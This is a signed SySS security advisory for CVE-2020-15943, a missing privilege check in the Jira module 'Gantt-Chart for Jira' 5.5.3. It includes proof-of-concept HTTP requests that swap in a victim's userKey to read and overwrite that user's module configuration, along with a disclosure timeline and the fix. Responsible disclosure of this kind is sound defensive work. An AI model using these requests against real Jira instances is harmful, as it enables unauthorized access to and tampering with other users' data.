Gantt-Chart For Jira 5.5.3 Missing Privilege Check

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2020-029  
Product: Jira module "Gantt-Chart for Jira"  
Manufacturer: Frank Polscheit - Solutions & IT-Consulting  
Affected Version(s): <=5.5.3  
Tested Version(s): 5.5.3  
Vulnerability Type: Improper Privilege Management (CWE-269)  
Risk Level: High  
Solution Status: Fixed  
Manufacturer Notification: 2020-07-23  
Solution Date: 2020-07-30  
Public Disclosure: 2020-08-03  
CVE Reference: CVE-2020-15943  
Author of Advisory: Sebastian Auwaerter, SySS GmbH  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
Gantt-Chart for Jira is a Jira module for displaying Gantt charts.  
  
The manufacturer describes the product as follows (see [1]):  
  
"High performance Gantt-Chart capable to display multi-projects with  
10.000+ issues aggregating them as top-level big picture"  
  
Due to a missing privilege check, it is possible to read and write  
the module configuration of other users. This can also be used to  
deliver a cross-site scripting payload to other user dashboards,  
as described in security advisory SYSS-2020-030 (see [4]).  
  
To exploit this vulnerability, an attacker has to be authenticated.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
The API endpoints for reading and updating the configuration of the  
Jira module require the user ID of a user via the variable  
userKey. Due to a missing privilege check, the user ID of another user  
can be sent instead of the own user ID to read and update a victim's  
module configuration.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
### Getting a username of a victim:  
  
The username of a victim can be seen by browsing their profile.  
  
  
### Getting the chart IDs of the victim  
  
The chart IDs of another user can be enumerated with the following  
request:  
  
- ----  
GET /rest/gantt/1.0/user/properties?userKey=<victim_user_name>&_=<unix  
timestamp (`date +%s`)> HTTP/1.1  
Host: <victim_host>  
[...]  
  
The response should look something like:  
  
HTTP/1.1 200  
[...]  
  
{"keys":"[{\"key\":\"gantt-A\"},{\"key\":\"gantt-B\"}]"}  
- ----  
  
The <chart_id> in the following requests should therefore be gantt-A or  
gantt-B.  
  
  
### Getting the current configuration of the module for that user  
  
The configuration for those charts can be read with the following  
request:  
  
- -----  
GET  
/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>&_=<unix  
timestamp (`date +%s`)> HTTP/1.1  
Host: <victim_host>  
  
The response should look something like:  
  
HTTP/1.1 200  
[...]  
  
<configuration as JSON>  
- ----  
  
### Pushing a new configuration for the victim  
  
The victim's configuration can then be updated by the attacker using  
the following request. The configuration, especially the filter section,  
can be prepared beforehand:  
  
PUT  
/jira/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>  
HTTP/1.1  
Host: <victim_host>  
[...]  
< (edited) configuration as JSON>  
  
The server will update the victim's configuration which can then be  
verified by downloading the victim's configuration again with the  
second GET request mentioned in this advisory.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
Update to software version 5.5.4.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2020-07-21: Vulnerability discovered  
2020-07-23: Vulnerability reported to manufacturer  
2020-07-30: Patch released by manufacturer  
2020-08-03: Public disclosure of vulnerability  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product Website for Jira Module "Gantt-Chart"  
  
https://marketplace.atlassian.com/apps/28997/gantt-chart-for-jira?hosting=cloud&tab=overview  
[2] SySS Security Advisory SYSS-2020-029  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-029.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
[4] SySS Security Advisory SYSS-2020-030  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-030.txt  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Sebastian Auwaerter of SySS  
GmbH.  
  
E-Mail: [email protected]  
Public Key:  
https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc  
Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
-----BEGIN PGP SIGNATURE-----  
  
iQIzBAEBCgAdFiEE+Yw+EmcTGdmeL74+6aMNSOLwqLYFAl8oFdUACgkQ6aMNSOLw  
qLZ5Jw/+Iurn9cfzROTYpl7ICLcbnEzZRGEpk03lqg48d+xrkusMrfzc1DXXyD5i  
Txq+GdTZeuzaxMxtsZvO27zUuUpZWMD+8KB5o+EvdRGqNgj8GlMUFIs54gfXmpd+  
mFe/gqQiUsGO2+LVZxokK++oH8pswreqphaDAKhIpze7uVsDi6hG1JGk5fbMFv/R  
IBJ0zoDs4VM1idYDliL9dyTFA0Urc9Hj5Bm3B3MvO/GLw2PW8cJQMjv7xnNOUx9P  
g0l9AoekBpG20HW5tiRq5kc1toTQL7nF5j2d6K8raqbM1vNjhFVF2s9HmT54k08K  
PQZIb4SMMOHElOhYJyFMm+eRksp5WtBrQ2xo9AHMNEWZvQMdAzPyrQlme48yO5rG  
EDQ2VpNeKbPp+n/onsLNmrFf5SI2DsrcA96uuTx5DBwPkKfjomXHXAnFNVMdHviC  
bSMI5sFYvwoY82QwOliNZm9Pl05CRRb+YBWeBUVQ8vwqXNfe/6KJVllZbjvwyKOZ  
yBPtB9fbkVYAUJw6d21a4rcmvAL92ZwaDr7XM/68dZO7gj2U49h0ns3B1+nNQ/E6  
atCD/6ywGnnlTU+Qybui4KlEF/9rvSknkWdQQ93GU6t8j2475+uHlWR5Mnzr7059  
rQVLPIqquMzNkwaFZSupcVm4o45fjj1sSH7F2ll/gYj+a0XDM94=  
=RY2o  
-----END PGP SIGNATURE-----  
  
  
`